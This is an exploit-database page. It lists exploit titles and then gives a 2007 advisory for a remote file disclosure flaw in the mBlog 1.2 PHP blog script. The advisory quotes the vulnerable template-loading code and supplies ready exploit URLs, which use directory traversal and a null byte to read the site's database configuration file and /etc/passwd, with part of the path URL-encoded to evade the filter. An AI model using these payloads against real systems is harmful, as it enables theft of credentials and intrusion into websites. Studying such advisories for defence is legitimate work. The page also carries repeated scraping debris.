477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
56 lines
2 KiB
Text
Executable file
56 lines
2 KiB
Text
Executable file
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
|
: :
|
|
: vuln.: mBlog 1.2 Remote File Disclosure Vulnerability :
|
|
: script info and download: http://www.c97.net/dl/index.php?act=view&id=8 :
|
|
: no dork for s-kiddie [; :
|
|
: :
|
|
: author: irk4z[at]yahoo.pl :
|
|
: greets to: str0ke, wacky, wszystkich polaków ;] :
|
|
: :
|
|
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
|
|
|
# code:
|
|
|
|
./includes/tpl.php, 41-56:
|
|
...
|
|
41 // load_tpl
|
|
42 // loding a template file into a varible.
|
|
43 // use quick_tpl to display template
|
|
44 function load_tpl ($path)
|
|
45 {
|
|
46 $tpl = '';
|
|
47 global $tpl_block;
|
|
48
|
|
49 if (substr ($path, -4) == '.tpl')
|
|
50 {
|
|
51 if (strpos (Cur_Url (), 'includes%2F') OR strpos (Cur_Url (), 'admin%2F') OR strpos (Cur_Url (), 'members%2F')) $path = '../'.$path;
|
|
52 if (!file_exists ($path)) die ("<B>Template $path not found! Contact webmaster.</B>");
|
|
53 $fp = fopen($path,'r');
|
|
54 while(!feof($fp)) $tpl .= fgets($fp,4096);
|
|
55 fclose ($fp);
|
|
56 }
|
|
...
|
|
|
|
load_tpl() 'loading a template file into a varible.' ;]
|
|
|
|
|
|
./index.php, 24-30:
|
|
...
|
|
24 // proses cmd
|
|
25 switch ($mode)
|
|
26 {
|
|
27 case 'page':
|
|
28 $txt['main_body'] = quick_tpl (load_tpl ($config['skin']."/$page.tpl"), 0);
|
|
29 flush_tpl ();
|
|
30 break;
|
|
...
|
|
|
|
file disclosure in $page :*
|
|
|
|
# exploit:
|
|
|
|
(%69%6E%63%6C%75%64%65%73 = includes)
|
|
http://[host]/[path]/index.php?mode=page&page=../../%69%6E%63%6C%75%64%65%73/db_config.php%00
|
|
http://[host]/[path]/index.php?mode=page&page=../../../../../../../../etc/passwd%00
|
|
|
|
# milw0rm.com [2007-12-21]
|